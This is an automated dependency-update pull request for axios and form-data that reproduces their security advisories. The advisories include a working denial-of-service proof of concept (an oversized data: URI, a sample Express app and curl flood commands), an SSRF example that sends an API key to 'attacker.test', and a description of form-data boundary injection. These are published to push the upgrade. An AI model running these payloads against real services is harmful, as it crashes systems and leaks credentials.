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🚨 [security] Update axios 1.6.8 → 1.13.1 (minor) #137

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🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ axios (1.6.8 → 1.13.1) · Repo · Changelog

Security Advisories 🚨

🚨 Axios is vulnerable to DoS attack through lack of data size check

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {

let convertedData;

if (method !== 'GET') {

return settle(resolve, reject, { status: 405, ... });

}

convertedData = fromDataURI(config.url, responseType === 'blob', {

Blob: config.env && config.env.Blob

});

return settle(resolve, reject, { data: convertedData, status: 200, ... });

}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {

// this example decodes ~120 MB

const base64Size = 160_000_000; // 120 MB after decoding

const base64 = 'A'.repeat(base64Size);

const uri = 'data:application/octet-stream;base64,' + base64;


console.log('Generating URI with base64 length:', base64.length);

const response = await axios.get(uri, {

responseType: 'arraybuffer'

});


console.log('Received bytes:', response.data.length);

}


main().catch(err => {

console.error('Error:', err.message);

});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;

const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });

const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });

const axiosClient = axios.create({

timeout: 10000,

maxRedirects: 5,

httpAgent, httpsAgent,

headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },

validateStatus: c => c >= 200 && c < 400

});


const app = express();

const PORT = Number(process.env.PORT || 8081);

const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";


app.use(express.json({ limit: BODY_LIMIT }));

app.use(morgan("combined"));


app.get("/healthz", (req,res)=>res.send("ok"));


/**

 * POST /preview { "url": "<http|https|data URL>" }

 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).

 */


app.post("/preview", async (req, res) => {

const url = req.body?.url;

if (!url) return res.status(400).json({ error: "missing url" });


let u;

try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }


// Developer allows using data:// in the allowlist

const allowed = new Set(["http:", "https:", "data:"]);

if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });


const controller = new AbortController();

const onClose = () => controller.abort();

res.on("close", onClose);


const before = process.memoryUsage().heapUsed;


try {

const r = await axiosClient.get(u.toString(), {

responseType: "stream",

maxContentLength: 8  1024, // Axios will ignore this for data:

maxBodyLength: 8  1024,    // Axios will ignore this for data:

signal: controller.signal

});


<span class="pl-c">// stream only the first 64KB back</span>
<span class="pl-k">const</span> <span class="pl-s1">cap</span> <span class="pl-c1">=</span> <span class="pl-c1">64</span> <span class="pl-c1">*</span> <span class="pl-c1">1024</span><span class="pl-kos">;</span>
<span class="pl-k">let</span> <span class="pl-s1">sent</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span>
<span class="pl-k">const</span> <span class="pl-s1">limiter</span> <span class="pl-c1">=</span> <span class="pl-k">new</span> <span class="pl-v">PassThrough</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-s">"data"</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-s1">chunk</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">sent</span> <span class="pl-c1">+</span> <span class="pl-s1">chunk</span><span class="pl-kos">.</span><span class="pl-c1">length</span> <span class="pl-c1">&gt;</span> <span class="pl-s1">cap</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> <span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">end</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">.</span><span class="pl-en">destroy</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span>
  <span class="pl-k">else</span> <span class="pl-kos">{</span> <span class="pl-s1">sent</span> <span class="pl-c1">+=</span> <span class="pl-s1">chunk</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">write</span><span class="pl-kos">(</span><span class="pl-s1">chunk</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-s">"end"</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">end</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-s">"error"</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-s1">e</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">destroy</span><span class="pl-kos">(</span><span class="pl-s1">e</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-k">const</span> <span class="pl-s1">after</span> <span class="pl-c1">=</span> <span class="pl-s1">process</span><span class="pl-kos">.</span><span class="pl-en">memoryUsage</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-c1">heapUsed</span><span class="pl-kos">;</span>
<span class="pl-s1">res</span><span class="pl-kos">.</span><span class="pl-en">set</span><span class="pl-kos">(</span><span class="pl-s">"x-heap-increase-mb"</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-s1">after</span> <span class="pl-c1">-</span> <span class="pl-s1">before</span><span class="pl-kos">)</span><span class="pl-c1">/</span><span class="pl-c1">1024</span><span class="pl-c1">/</span><span class="pl-c1">1024</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">toFixed</span><span class="pl-kos">(</span><span class="pl-c1">2</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">pipe</span><span class="pl-kos">(</span><span class="pl-s1">res</span><span class="pl-kos">)</span><span class="pl-kos">;</span>



} catch (err) {

const after = process.memoryUsage().heapUsed;

res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));

res.status(502).json({ error: String(err?.message || err) });

} finally {

res.off("close", onClose);

}

});


app.listen(PORT, () => {

console.log(axios-poc-link-preview listening on http://0.0.0.0:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">PORT</span><span class="pl-kos">}</span></span>);

console.log(Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">BODY_LIMIT</span><span class="pl-kos">}</span></span>).);

});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

🚨 axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({

baseURL: "http://example.test/api/v1/users/",

headers: {

"X-API-KEY": "1234567890",

},

});


// const userId = "123";

const userId = "http://attacker.test/";


await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

🚨 Server-Side Request Forgery in axios

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ form-data (indirect, 4.0.0 → 4.0.4) · Repo · Changelog

Security Advisories 🚨

🚨 form-data uses unsafe random function in form-data for choosing boundary

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: 

    <tbody>
boundary += Math.floor(Math.random() * 10).toString(16);

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Release Notes

4.0.1

Fixes

  • npmignore temporary build files (#532)
  • move util.isArray to Array.isArray (#564)

Tests

  • migrate from travis to GHA

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 56 commits:

🆕 call-bind-apply-helpers (added, 1.0.2)

🆕 dunder-proto (added, 1.0.1)

🆕 es-define-property (added, 1.0.1)

🆕 es-errors (added, 1.3.0)

🆕 es-object-atoms (added, 1.1.1)

🆕 es-set-tostringtag (added, 2.1.0)

🆕 function-bind (added, 1.1.2)

🆕 get-intrinsic (added, 1.3.0)

🆕 get-proto (added, 1.0.1)

🆕 gopd (added, 1.2.0)

🆕 has-symbols (added, 1.1.0)

🆕 has-tostringtag (added, 1.0.2)

🆕 hasown (added, 2.0.2)

🆕 math-intrinsics (added, 1.1.0)

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@depfu depfu bot added the depfu label Oct 29, 2025
@depfu depfu bot mentioned this pull request Oct 29, 2025
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depfu bot commented Nov 5, 2025

Closed in favor of #138.

@depfu depfu bot closed this Nov 5, 2025
@depfu depfu bot deleted the depfu/update/npm/axios-1.13.1 branch November 5, 2025 21:10
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